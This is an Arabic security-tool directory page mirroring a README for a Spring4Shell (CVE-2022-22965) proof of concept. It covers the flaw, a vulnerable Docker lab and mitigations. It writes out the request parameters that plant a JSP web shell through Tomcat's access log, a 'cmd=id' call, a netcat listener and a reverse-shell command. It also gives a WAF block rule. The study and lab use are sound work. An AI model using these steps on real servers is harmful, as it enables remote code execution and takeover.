Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PoC-CVE-2022-22965-Spring4Shell — الوصف | Kitploit
أدوات/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubmarch0n/poc-cve-2022-22965-spring4shell

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

PoC-CVE-2022-22965-Spring4Shell

الوصف

عرض المستودع
15منذ 5 أشهرلم تتم المراجعة بعد
مشاركة

PoC — CVE-2022-22965 (Spring4Shell)

إخلاء مسؤولية: هذا المستودع مخصّص لأغراض تعليمية وبحثية فقط. يجب استخدام جميع نصوص الاستغلال حصريًا ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه المادة.

دراسة وإثبات مفهوم لثغرة CVE-2022-22965، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في إطار عمل Spring، أُفصِح عنها علنًا في أبريل 2022.


نظرة عامة على الثغرة

تؤثر Spring4Shell على تطبيقات Spring MVC وSpring WebFlux عند استيفاء جميع الشروط التالية:

الشرطالقيمة
إصدار JDK9 أو أحدث
خادم التطبيقاتApache Tomcat
التغليفWAR (وليس JAR قابل للتنفيذ)
إطار عمل Spring< 5.3.18 أو < 5.2.20

كيف تعمل

تسمح آلية ربط البيانات في Spring بتعيين معاملات طلبات HTTP إلى خصائص كائنات Java باستخدام الترميز النقطي (مثل user.name=foo). تنشأ الثغرة لأن هذا التنقّل غير مُقيَّد بشكل صحيح — يمكن للمهاجم الوصول إلى ClassLoader الخاص بـ JVM عبر التسلسل الهرمي للفئات لكائن النموذج:

class.module.classLoader.resources.context.parent.pipeline.first.<property>

يصل هذا المسار إلى AccessLogValve الخاص بـ Tomcat، والذي يمكن التلاعب بإعدادات تسجيله في وقت التشغيل. من خلال تعديل خصائص مثل pattern وdirectory وprefix وsuffix، يعيد المهاجم توجيه سجل الوصول الخاص بـ Tomcat لكتابة ملف بامتداد .jsp يحتوي على كود JSP عشوائي — ما يزرع فعليًا قشرة ويب على الخادم.

سير الهجوم

1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload

3. GET /shell.jsp?cmd=id  →  RCE

بنية المستودع

.
├── exploits/
│   ├── exploit1.py   # POST-based web shell with password protection
│   ├── exploit2.py   # POST-based web shell with reset capability
│   ├── exploit3.py   # GET-based variant (simplified)
│   ├── exploit4.py   # Reverse TCP shell (GET-based)
│   └── exploit4b.py  # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Uses pre-built tomcat:9.0.60 image
    ├── Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
    ├── pom.xml       # Maven project — Spring MVC 5.3.17 (vulnerable)
    └── src/          # Vulnerable Spring MVC application source

أشكال الاستغلال

السكربتالطريقةالحمولةملاحظات
exploit1.pyPOSTقشرة ويب (محمية بكلمة مرور)طلب واحد
exploit2.pyPOSTقشرة ويبيعيد ضبط إعدادات السجل قبل/بعد الاستغلال
exploit3.pyGETقشرة ويب (بدون كلمة مرور)المعاملات عبر سلسلة الاستعلام
exploit4.pyGETقشرة TCP عكسيةحمولة JSP مبنية على msfvenom
exploit4b.pyPOSTقشرة TCP عكسيةنفس حمولة exploit4، نسخة POST

مثال الاستخدام

# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable

# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

إعداد المختبر

المتطلبات الأساسية

  • Java 11+
  • Maven (sudo apt install maven أو sudo dnf install maven)
  • Docker (اختياري، موصى به)

البناء

cd springmvc5-helloworld-example
mvn clean package

التشغيل باستخدام Docker

# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

يكون التطبيق متاحًا عندئذٍ على http://localhost:8082/vulnerable.


التخفيف

  • قم بترقية إطار عمل Spring إلى 5.3.18+ أو 5.2.20+
  • قم بترقية Spring Boot إلى 2.6.6+ أو 2.5.12+
  • إذا لم تكن الترقية ممكنة فورًا:
    • قم بالتراجع إلى JDK 8
    • استخدم WebDataBinder.setDisallowedFields() لمنع ربط classLoader
    • انشر قاعدة WAF تحظر المعاملات التي تحتوي على class. أو Class. أو module. أو classLoader

الاعتمادات

البحث الأصلي وكود الاستغلال بواسطة @march0n. هذا المستودع هو دراسة شخصية للثغرة لأغراض التعلم، مع توثيق وتحليل إضافيين.


المراجع

  • CVE-2010-1622 — استغلال Spring ClassLoader الأصلي (2010)
  • الإفصاح الصيني الأولي (Weixin)
  • مدونة Microsoft للأمان — إرشادات SpringShell
  • LunaSec — تحليل ثغرات Spring RCE
  • Palo Alto Unit 42 — تحليل معمّق لـ CVE-2022-22965
تنزيل الأداة